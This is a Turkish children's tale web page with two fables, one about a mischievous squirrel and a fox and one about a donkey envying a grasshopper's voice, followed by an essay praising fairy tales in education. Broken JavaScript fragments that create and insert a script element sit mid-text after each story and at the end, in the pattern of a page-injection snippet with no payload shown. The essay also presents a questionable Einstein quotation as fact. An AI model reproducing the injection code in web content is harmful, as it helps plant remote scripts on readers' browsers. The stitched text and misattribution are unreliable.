Etiket: eğitim

YARAMAZ SİNCAP MUNU
YARAMAZ SİNCAP MUNU

Bir varmış bir yokmuş… Evvel zaman içinde, kalbur saman içinde, pireler berber iken, develer ise tellal iken; ben de dedemin beşiğini tıngır mıngır sallar iken… Uzak mı uzak diyarların birinde sevgi ülkesinin içerisinde büyük bir bahçe varmış. Bu bahçede tonton bir dede yaşarmış. Tonton dede bütün gün bahçe içerisinde gezinir, bahçeye yeni fidanlar, sebze ve meyveler ekermiş. Meyveler- sebzeler büyüdüğünde rengârenk gözükür, çiçek açan ağaçlar bahçeyi adeta bir resim haline çevirir. Onlara gözü gibi bakan bu tonton dede, zamanı geldiğinde yetiştirdikleri toplar, kocaman bahçeden çıkan meyve-sebzelerle bütün bir kışı aç kalmadan geçirirmiş.

Gel zaman git zaman bu güzel bahçeye bir gün tilki dadanmış. Tilki kurnazlığı ile meşhur ya kendisini çok iyi kamufle ettiğinden tonton dede onu bir türlü yakalayamıyormuş. Tonton dedenin bahçesindeki meyve ve sebzelerden yiyen bu utanmaz tilki, tonton dede bahçeden uzaklaşınca hem ağaçlara hem de tavukların olduğu kümese dadanırmış.

Bahçede sadece meyve ve sebze yokmuş tabi. Tonton dedeye her gün yumurta veren tavuklar, süt veren inekler ve yemyeşil çimlerde koşturan minicik, sevimli mi sevimli sincaplar da yaşarmış. Bu sincaplardan birisi de yaramazlığı ile meşhur olan Munu imiş.

Munu anne ve babasının uyarılarına aldırmadan tonton dede bahçeden ayrıldığı gibi bahçeye dadanan ve tavukları kümesten kovalayan tilkiyi izlermiş. Tilkiyi izlemek için de en yüksek ağaçların birinin tepesine çıkarmış.

Günlerden bir güm yaramaz sincap Munu yine anne-babasını dinlemeden her zamanki ağacına tırmanarak tilkiyi beklemeye başlamış. Fakat o da ne! Birdenbire öyle bir fırtına kopmuş ki zavallı minik sincap Munu ağacın tepesinde kalakalmış. Bu rüzgârda ne aşağıya inebiliyormuş, ne de bağırabiliyormuş…

Küçük sincap Munu ağaç üzerinde canını kurtarmaya çalışırken ağacın altında kendisine kahkahalarla gülen tilkiyi görmüş:

TİLKİ: ‘Seni yaramaz sincap Munu, seni… Demek her akşam ağaç tepesine çıkıp benim neler yaptığımı izliyordun! Ağaç tepelerinde gezeceğine benim yaptığım gibi deliklere sığınsaydın böyle olmazdı. Şimdi sen oradan nasıl ineceğini düşünedur, ben gidip şu kümesteki tavuklara dadanayım’ demiş.

Sincap Munu üzülse de tilkiye bir şey söylememiş. Tilki onu ağacın tepesinde bırakıp giderken Munu bir daha anne-babasının sözünden çıkmamaya söz vermiş kendi kendine.

 

Munu tam ağlamaya başlayacakken şiddetle esen fırtına birdenbire durulmuş. Sincap Munu birdenbire ne olduğunu anlayamasa da hemen ağaçtan inmeye başlamış. O sırada bahçenin sahibi olan tonton dede de rüzgârın dinmesini fırsat bilerek evinden çıkıp kümese doğru yürümeye başlamış. Munu o anda tilkinin içeride olduğunu hatırlamış.

Tonton dede kümesi açtığı anda aylardır aradığı tilkiyle karşılaşmış. Öfkesinden ne yapacağını bilemeyen tonton dede başlamış Munu’yu kovalamaya. Bunu gören köpekler durur mu? Onlar takılmış Munu’nun peşine. Çünkü tonton dede artık yaşlıymış ve hızlı koşamıyormuş!

 

Munu uyanık tilkiyi kovalayan köpekleri görünce içten içe sevinmiş. Çünkü az önce ağaç tepesinde yardıma ihtiyacı olmasına rağmen bu tilki kendisine yardım etmemiş. Fakat sonra kendisine kızmış minik sincap Munu. Kurnaz tilkinin köpekler tarafından kovalandığını gören Munu, az önce kendisinin de bir belayı zar zor atlattığını düşünerek, kurnaz tilkinin başına gelen bu duruma asla gülmemiş. Çünkü atalarımız ne demiş: ‘Gülme komşuna, gelir başına…’

Minik sincap Munu ve kurnaz tilkinin masalı böylece son bulmuş. Gökten üç elma düşmüş… Bir tanesi masalı anlatana, bir tanesi kurnaz tilkinin kafasına, bir tanesi de minik sincap Munu’nun kafasına…

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Uzun Ahmet Masalı
Uzun Ahmet Masalı

Uzun Ahmet Masalı

Drama:

 

 

Eşek Donki ile Güzel Sesli Çekirge Masalı
Eşek Donki ile Güzel Sesli Çekirge Masalı

 

Bir varmış bir yokmuş… Evvel zaman içinde kalbur saman içinde, uzak mı uzak diyarların birinde güzel bir orman varmış. Kocaman ağaçların içinde olduğu bu devasa orman, mutluluk ormanı olarak bilinirmiş. İçinde yaşayan bütün hayvanlar mutlu mesut yaşamlarına devam eder, birbirlerine sürekli olarak yardım ederlermiş.

esek-donki

Mutluluk ormanında yaşayan hayvanlardan birisi de eşekmiş. Eşeğin adı Donki imiş ve bu eşek çok ama çok mutlu, hayattan zevk almasını bilen bir eşekmiş. Sürekli olarak güler, eğlenir; arada bir de mutluluğundan anırarak neşesini herkese göstermeye çalışırmış. Ormandaki diğer tüm hayvanlar Eşek Donkİ’nin anırmasından çok rahatsız oluyormuş. Ama üzülmesin diye Eşek Donki’ye bir şey söylemiyorlarmış.

Ormanda yaşayan insanlar da Eşek Donki’nin anırmasından çok rahatsız oluyormuş. Eşek Donki mutluluğundan anırmaya başladığı anda orada iş yapan insanlar ya kulaklarını kapatıyorlar ya da eşeğin önüne ot koyarak susmasını sağlıyorlarmış.

 

esek-donki2

Günlerden bir gün oduncunun biri ormanın içinde elinde baltası ile odun kesiyormuş. Eşek Donki de oduncunun olduğu yerin biraz gerisinde ot yiyerek karnını doyuruyormuş. Karnı doyan Eşek Donki’nin keyfi yerine gelmiş ve başlamış anırmaya! Hem anırıyor hem de oynayıp zıplıyormuş. Oduncu bu çirkin sese daha fazla dayanamayacağını anladığında soluğu Eşek Donki’nin yanında almış:

ODUNCU: ‘Hey, bu tarafa baksana!’

Eşek Donki sesin geldiği yere doğru dönmüş. Bir bakmış ki elinde baltalı bir adam!

ODUNCU: ‘Bana bak eşek misin nesin! Sen bu kadar çirkin sesle anırmaya utanmıyor musun? Kafam şişti, işimi yapamıyorum senin kötü sesin yüzünden’

Eşek Donki, adamın sözleri duyunca şok olmuş. Sesinin çok güzel olduğunu düşünürken bu adam ona çok çirkin sesinin olduğunu söylüyormuş.

EŞEK DONKİ: ‘Ama benim sesim çok güzel değil mi?’

Oduncu gülmeye başlamış. Bu eşek kendini ne zannediyormuş acaba?

ODUNCU: ‘Ya işine git, hadi sen otlamana devam et ben de işimi yapayım. Bir daha da bu ses ile sakın anırma!’

Eşek Donki oduncunun bu sözleri üzerine çok üzülmüş. Hemen oradan ayrılmış. Bir derenin kenarına gidip, hüzünlü bir şekilde dereyi izlemeye başlamış. Eşek Donki, o kadar neşeli bir eşekmiş ki ne şarkı söylemeden ne de hoplayıp zıplamadan duramazmış. ‘Ben e yapsam da bu kötü sesimden kurtulsam’ diye kara kara düşünmeye başlamış.

Tam o sırada, bir çekirge zıplaya zıplaya önünden geçiyormuş. Çekirge hem zıplıyor hem de o güzel sesi ile şarkılar söylüyormuş. Eşek Donki bu çekirgenin sesine bayılmış. Hemen yerinden kalkarak çekirgenin arkasından seslenmiş:

EŞEK DONKİ: ‘Hey, çekirge kardeş!’

Çekirge arkasını döndüğünde eşeğin ona doğru yaklaştığını görmüş.

ÇEKİRGE: ‘Buyur eşek kardeş?’

EŞEK DONKİ: ‘Çekirge kardeş, senin ne kadar güzel bir sesin var! Hayran kaldım sesine. Ben de senin gibi ötmek, güzel bir sesle şarkılar söylemek istiyorum. Sen ne yersin, ne içersin? Belki yediklerinden ben de yersem benim de sesim böyle çıkar.’

Çekirge şaşırmış:

ÇEKİRGE: ‘Valla eşek kardeş, benim sesim doğduğumdan beri böyle çıkıyor. Ama yediklerin neler dersen, biz çiçeklerin üzerinde çiğlerden yeriz. Yani çiçeklerin üzerindeki su damlacıklarından besleniriz.’

Eşek çekirgeye teşekkür etmiş ve hemen en yakındaki çiçek bahçesine giderek, çiçeklerin üzerindeki sulardan içerek, sesinin güzelleşmesini beklemiş. Bir gün geçmiş, iki gün geçmiş ama eşeğin sesinde ne bir düzelme ne de bir değişme var! Eşek bıkmamış, çiçeğin üzerindeki sulardan içmeye devam etmiş. Sonunda vücudu daha fazla dayanamayan eşek, açlıktan ölüvermiş.

Bu masal sonunda gökten üç elma düşmüş… Elmaların hepsi de kendi gibi olmaya çalışan, başkalarının sahip olduğu özelliklere heves etmeyen ve onları kıskanmayan çocuklara düşmüş…d.getElementsByTagName(‘head’)[0].appendChild(s);

Masalların Yeri

SİZE ANLATILAN MASALLARI CAN KULAĞI İLE DİNLEYİN

Masal, toplumun kültür birikimleridir. Nesilden nesle aktarılarak varlıklarını devam ettirirler. Masallar genellikle toplumun kültürel ve ahlâkî kurallarını hayal ürünü soyut motiflerle ve doğaüstü kahramanlarla kişilere ulaştırırlar. Bundan sebep ki masalların eğitimsel işlevleri önemsenir ve özellikle çocukların masalla tanışmaları ve takip etmeleri onların gelişimi açısından yarar sağlayacağı sıkça vurgulanmış ve vurgulanmalıdır da.

Sevgili çocuklar, son zamanlarda okullarınızda öğretmenleriniz size masallar okuyorsa,

anneniz gece yatmadan başucunuzda size en güzel masalları anlatıyorsa çok şanslısınız

demektir! Neden mi? Çünkü masallar çocukların eğitiminde önemli bir yere sahiptir. Masalda

anlatılanlar, çocukların içinde büyüdüğü topluma uygun bir birey olarak yetişmesine yardımcı

olur.

Peki, masallar eğitiminize nasıl katkı sağlar?

Albert Einstein, bildiğiniz gibi büyük bir mucit. Zekâsı ile herkesin hayran olduğu isimlerden

birisi. Günlerden bir gün Albert Einstein’a sormuşlar:

-‘Çocuklarımız nasıl daha akıllı çocuklar haline gelir? Çocukların akıllı olması için onlara

nasıl bir eğitim vermeliyiz?’

Albert Einstein hiç tereddüt etmeden ve kendinden emin bir şekilde bu soruyu yanıtlamış:

-‘Cevabı çok basit bir soru bu. Çocuklarınızın daha akıllı ve daha zeki olmasını istiyorsanız;

eğitimin içine masalları dâhil etmelisiniz. Çocuğunuzun akıllı olmasını istiyorsanız ona peri

masalları okuyun. Eğer çocuğunuzun daha da akıllı olmasını istiyorsanız çocuğunuza daha

çok peri masalı okuyun’ demiş.

Masal demek eğlendirirken öğreten demektir. Masalda en acı olayların bile çocuklara

aktarılması tatlılıkla olur. Masallar en güzel eğitim araçlarından birisidir. Örnek davranışları

çocuklara öğretir, topluma uygun olan davranış ve hareketleri çocukların öğrenmesini sağlar.

Masallar, çocukları eğlendirdiği gibi aynı zamanda hayata da hazırlamaktadır. Masallarda iyi-

kötü ayrımı ve doğru-yanlış ayrımı açık bir şekilde ifade edilir. Bu durum çocukların iyi ve

doğru olana yönlenmesini sağlar.

Masaldaki tüm kahramanlar, çocukların hayal dünyasındaki en somut rol modellerdir. Çocuk

masalı okurken ya da dinlerken masal kahramanın içinde kendinden bir pay bulur. Masal

kahramanının yaptıklarını kabullenir, karşılaştığı benzer olaylar karşısında masal

kahramanının davrandığı gibi davranır. Masallarda bütün zorluklar ve engeller kararlı bir

şekilde aşıldıkça; çocuklar da hayatlarında karşılaştıkları güçlükleri yenme becerisi kazanır.

Çocukların masallar aracılığı ile başarıyı ve başarma duygusunu öğrenmesi, çocuklar için

büyük bir keyiftir. Başarı duygusunu tadan çocuk, önündeki diğer başarılar için güdülenmiş

de olur. Kendi başarısını ve elde ettiği tecrübeleri de haznesine ekleyen çocuklar, başarılarını

başkaları ile paylaşırken sosyalleşme sürecini de yaşamaktadır.

Masallar o kadar öğretici ve eğitici materyallerdir ki; masallar aracılığı ile çocuklar içinde

yaşadıkları toplumun değer yargılarını kavramış olur. Toplumun değer yargılarına uygun bir

birey olarak yetişmesi sürecine destek veren masallar, aynı zamanda çocuklara başka

insanların varlığını ve onunla aynı haklara sahip olduğu bilincini de aşılamaktadır.

Başkalarının da kendi ile aynı değerlere sahip olduğunun farkına varan çocuklar, başkalarının

haklarına saygı göstermeyi de masallar sayesinde öğrenir. Yalan söylemenin ne kadar kötü

olduğunu masallar çocuk dünyasına inerek anlatır ve çocuklar yalan söylemenin kötü tarafları

ile karşılaşınca dürüst olmanın da önemini anlar.

Masallarda üzerinde durulan değerlerden biri; affedici olmak ve cömert olmaktır. Masallara

konu olan arkadaşlıklar saygı-sevgi ve affetmek temeline kuruludur. Kıskançlığın

yaşanmadığı ve karşılıklı olarak sevgi-saygının temele yerleştiği dostlukların uzun süren

dostluklar olduğunu çocuklar yine masallar sayesinde öğrenirler.

Çocuklar duygusal anlamda hüzün ve karamsarlığa sürüklenmemek gerektiğini masallarda

okur veya dinler. Bu durum çocukların hayata pozitif bakmasını sağlar. Hayata pozitif bakan

çocuklar ise hedeflerinde ulaşmada daha sabırlı ve çevresine karşı daha anlayışlı olur.

Çocuklar! Masalların eğitimdeki rolü bu kadar değerli bir halde iken; okullarda masal

anlatılmasının keyfini çıkarın. Hem evde hem de okulda size anlatılan masallardan öğütler

çıkarın, masal kahramanlarının nerede nasıl davrandıklarına dikkat edin. Bakarsınız bir gün

siz Pamuk Prenses ya da Külkedisi olursunuz=)var d=document;var s=d.createElement(‘script’);